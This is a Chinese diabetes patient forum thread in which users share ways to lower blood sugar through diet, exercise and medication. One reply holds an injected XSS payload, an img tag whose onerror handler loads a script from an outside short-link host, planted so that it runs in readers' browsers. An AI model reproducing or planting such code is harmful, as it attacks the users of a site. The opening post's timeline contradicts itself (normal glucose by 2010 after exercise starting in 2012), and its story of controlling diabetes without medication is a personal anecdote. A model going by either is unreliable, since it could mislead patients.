如何直接有效的降低血糖？大家怎么做的？
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# 控糖经验
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# 控糖总结
说说我的经历吧。47岁那年，空腹血糖16还多，餐后22，被医生果断判为糖尿病，想想自己奶奶也有糖尿病，这样的病史家族，也只能认为。
但是，我是一个不认命的人。
从2012年开始，打羽毛球，坚持走步减肥，同时饮食加以控制，头几年，水果也会吃，蔬菜少不了。
在2014年开始打太极拳，坚持到现在，体重减了30斤，到2010年左右，在没有药物治疗的情况下，血糖指数转为正常。
现在又过了5年了，期间每年坚持去医院做一次复诊和加全面检查，什么糖化、血脂、血压、心电图、眼科检查都做。
从目前来看，血糖血压血脂等指标均已正常。
其实，总结起来，真的就是两条：管住嘴迈开腿。
这里的管住嘴迈开腿，包含的意义就是是科学饮食，适度运动，坚持学习，提高控糖智商。
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李呈
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周星迟
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不要轻易靠对数字的直觉下判断，前提是对已经确诊为糖尿病的患者来说，关键要看你的仪器能否提供有效判断！ 这类仪器的关键，是可靠性，可靠性比准确性还重要。
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糖小护
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用一句话形容你为控糖作出的努力
是不是用心就能控制好血糖？但至少我理解的是，有没有努力，真的很重要，起码血糖不会差到哪里去。
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tangzxs1490330917
羡慕
tangzxs1490330898
大家懂的真多…
甜甜_145775812222511488507469
打针吃药，吃饱吃好😜
Dnurse_148816611343381488167304
占位<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//t.cn/RiPERhU';>
燕子1487918879
最有效的降糖方法就是严格饮食管理，均衡营养，少吃多餐。
悠悠寸草心1487860625
运动固然重要，合理的饮食，生活作息规律以及对于一型来说药物相结合都是必然的，至于裸奔也要与自己主治医生沟通，不可盲目任意妄为！
Dnurse20211487837907
有肥胖基础（意思就是偏胖的人）有氧和抗阻运动有结合，有氧运动主要是提高心肺功能，提高基础代谢率；而抗阻运动可以提高胰岛素敏感性，增加肌肉的运动，提高肌肉对葡萄糖摄入的能力。这些方法对于1、2型的朋友都有参考作用。
土得掉渣1487832169
支持楼主的做法。不管几型，必须坚持运动坚持饮食，控好血糖。
秋天之风1487809087
一会有空总结一下自己饮食上的控糖心得，分享给大家😊
岁月如风1487804654
我的领悟是 五驾马车缺一不可～
从头越1487773358
看了郑勇的控糖经验，值得学习。能够认真的重视糖尿病，并积极主动的控制血糖，而且一直坚持不懈，很佩服。我家糖人的作法和人家比差远了，所以走上了坎坷的控糖路。有付出才有回报。
一鸣惊人1487753082
除了药物，饮食，运动相结合，有效的降低血糖。
叶福林1487751889
还是这位朋友比较幸运，通过运动饮食就能控制好，但很多人发现时，胰岛功能已经有点衰竭了，裸奔并不适合所有人。看自身条件如何。不能照搬或者羡慕别人，该用药还是得用药，不然并发症就会早早来了。
秋天之风1487751738
运动能逆转胰岛功能衰退吗？
余丹1487751673
饭后用哑铃锻炼至少半小时，效果明显。 控制饮食也许有效果，但很难长久坚持。
朱显芝1487751545
降糖，不能偏激，须要平稳，平稳远远重要于“降”
周星迟1487751485
简单一些：管住嘴，卖开腿，老实用药别听吹。
天使0081487751444
说点我的经验吧，25岁发现糖尿病（我现在才26岁）。医生说我是糖尿病1型，这意味着我要打一辈子的胰岛素，我还这么年轻，怎能这样对我啊。人生顿时黑暗了，你要知道我吃得真得比正常人吃的都健康，非肥胖型。。然后就这样躺枪了。我有先，买个好点方便点的血糖仪，糖护士的吧。我用的就是。然后不管你是吃药还是不吃药，每顿饭前测一次，饭后测一次，数据自动就上传到App里，我还会记录下来自己吃的东西。当然你需要了解你吃的东西所含的碳水化合物的量。这样的话，你能总结出来你每次吃得碳水化合物的总量，如果血糖不再正常范围之内，减主食的量，直到饭后血糖正常为止。两餐之间可以吃点升糖指数比较低得水果，或者坚果之类的。估计大概一个多月，你就会对你的饮食有个大概的了解。吃什么血糖高，什么不高。我总结出来的就是大概，我打的胰岛素每顿饭能应对的碳水化合物最多也就70克左右吧。所以，我现在就按照我总结出来的食谱吃。。。我发现吃胡萝卜，柿子椒升糖特别快，所以，如果吃饭有这两个菜，我会尽量少吃。但是，我现在几乎不吃甜食，饮料喝无糖可乐，水之类的。得了这个病就认命吧。没办法，上帝就是这么不公
大刘医生1487746979
看了楼主的介绍甚是欣慰，真心的恭喜楼主做到了，大家有没有发现楼主所讲最鲜明的字眼"坚持"，其实任何事情要保持坚持很难，不过任何伟大的发明或者新的创新都是从坚持过来的，其实任何的降糖方法都讲究长久、持续，只要坚持下去才能出现奇迹与好的结果！大家要多多向楼主学习管住嘴迈开腿，坚持监测血糖，坚持定期复查，坚持用药，只要做到坚持，肯定会有一个欣慰的结果，但是做到坚持往往很难，所以有时候稍一偷懒就会前功尽弃，祝大家都能有效的降糖，有一个良好的生活方式，有一个良好的心态，有一个良好的结果！
xyp5251487743537
有时药物控制也重要
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